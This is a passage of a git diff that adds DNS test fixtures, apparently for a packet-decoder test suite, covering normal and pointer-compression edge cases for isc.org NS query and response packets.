01|" # qclass [IN] + "|00 00 0e 10|" # ttl + "|00 06|" # rdata length (14) + "|04|home|00|" +) + diff --git a/tests/abc/dns-canonical.pcap b/tests/abc/dns-canonical.pcap new file mode 100644 index 0000000..5bbbd8d Binary files /dev/null and b/tests/abc/dns-canonical.pcap differ diff --git a/tests/abc/dns-custom.pcap b/tests/abc/dns-custom.pcap new file mode 100644 index 0000000..0235a55 Binary files /dev/null and b/tests/abc/dns-custom.pcap differ diff --git a/tests/abc/dns-label-loop.abc b/tests/abc/dns-label-loop.abc new file mode 100644 index 0000000..90fb5e8 --- /dev/null +++ b/tests/abc/dns-label-loop.abc @@ -0,0 +1,39 @@ +#!abcip + +d(stack="eth:ip4:udp") +c(udp:b=53) + +a( pay="|20 8a 01 00 00 01 00 00 00 00 00 00 03|isc" # ............isc + "|03|org|00 00||02 00 01|") # .org..... + +b( pay= + # Plain DNS header + "|20 8a|" # id + "|81 80|" # flags + + "|00 01|" # question count + "|00 01|" # answer count + "|00 00|" # authority count + "|00 00|" # additional count + + # Begin DNS Questions + "|03|isc|03|org|00|" # labels + "|00 02|" # qtype [NS] + "|00 01|" # qclass [IN] + + # Begin Answers 1 + "|c0 10|" + "|00 02|" + "|00 01|" + "|00 00 0e 10|" + "|00 0E|" + + # 0x19 points to Answer 1 + # x.y.z -> (unnecessary jump) .123 -> (skip 'isc') .org + "|01|x" + "|01|y" + "|01|z" + "|c0 2d|" + "|03|123|c0 10|" +) + diff --git a/tests/abc/dns-label-loop.pcap b/tests/abc/dns-label-loop.pcap new file mode 100644 index 0000000..0470c58 Binary files /dev/null and b/tests/abc/dns-label-loop.pcap differ diff --git a/tests/abc/dns.abc b/tests/abc/dns.abc new file mode 100644 index 0000000..2b69a8a --- /dev/null +++ b/tests/abc/dns.abc @@ -0,0 +1,56 @@ +#!abcip + +d(stack="eth:ip4:udp") +c(udp:b=53) + +a( pay="|20 8a 01 00 00 01 00 00 00 00 00 00 03|isc" # ............isc + "|03|org|00 00||02 00 01|") # .org..... + +b( pay= + # Plain DNS header + "|20 8a|" # id + "|81 80|" # flags + + "|00 01|" # question count + "|00 04|" # answer count + "|00 00|" # authority count + "|00 00|" # additional count + + # Begin DNS Questions + "|03|isc|03|org|00|" # labels + "|00 02|" # qtype [NS] + "|00 01|" # qclass [IN] + + # Begin Answers 1 + "|c0 0c|" # name + "|00 02|" # type [NS] + "|00 01|" # qclass [IN] + "|00 00 0e 10|" # ttl + "|00 0e|" # rdata length (14) + "|06|ns-ext|04|nrt1|c0 0c|" # rdata + + # Begin Answers 2 + "|c0 0c|" + "|00 02|" + "|00 01|" + "|00 00 0e 10|" + "|00 0e|" + "|06|ns-ext|04|sth1|c0 0c|" + + # Begin Answers 3 + "|c0 0c|" + "|00 02|" + "|00 01|" + "|00 00 0e 10|" + "|00 09|" + "|06|ns-ext|c0 0c|" + + # Begin Answers 4 + "|c0 0c|" + "|00 02|" + "|00 01|" + "|00 00 0e 10|" + "|00 0e|" + "|06|ns-ext|04|lga1|c0 0c|" +) + diff --git a/tests/abc/variants/dns-canonical.pcap b/tests/abc/variants/dns-canonical.pcap new file mode 100644 index 0000000..5bbbd8d Binary files /dev/null and b/tests/abc/variants/dns-canonical.pcap differ diff --git a/tests/abc/variants/dns-label-ptr-to-ptr.pcap b/tests/abc/variants/dns-label-ptr-to-ptr.pcap new file mode 100644 index 0000000..0235a55 Binary files /dev/null and b/tests/abc/variants/dns-label-ptr-to-ptr.pcap differ diff --git a/tests/abc/variants/dns.abc b/tests/abc/variants/dns.abc new file mode 100644 index 0000000..cc99b39 --- /dev/null +++ b/tests/abc/variants/dns.abc @@ -0,0 +1,56 @@ +#!abcip + +d(stack="eth:ip4:udp") +c(udp:b=53) + +a( pay="|20 8a 01 00 00 01 00 00 00 00 00 00 03|isc" # ............isc + "|03|org|00 00||02 00 01|") # .org..... + +b( pay= + # Plain DNS header + "|20 8a|" # id + "|81 80|" # flags + + "|00 01|" # question count + "|00 04|" # answer count + "|00 00|" # authority count + "|00 00|" # additional count + + # Begin DNS Questions + "|03|isc|03|org|00|" # labels + "|00 02|" # qtype [NS] + "|00 01|" # qclass [IN] + + # Begin Answers 1 + "|c0 0c|" # name + "|00 02|" # type [NS] + "|00 01|" # qclass [IN] + "|00 00 0e 10|" # ttl + "|00 0e|" # rdata length (14) + "|06|ns-ext|04|nrt1|c0 19|" # rdata + + # Begin Answers 2 + "|c0 0c|" + "|00 02|" + "|00 01|" + "|00 00 0e 10|" + "|00 0e|" + "|06|ns-ext|04|sth1|c0 0c|" + + # Begin Answers 3 + "|c0 0c|" + "|00 02|" + "|00 01|" + "|00 00 0e 10|" + "|00 09|" + "|06|ns-ext|c0 0c|" + + # Begin Answers 4 + "|c0 0c|" + "|00 02|" + "|00 01|" + "|00 00 0e 10|" + "|00 0e|" + "|06|ns-ext|04|lga1|c0 0c|" +) +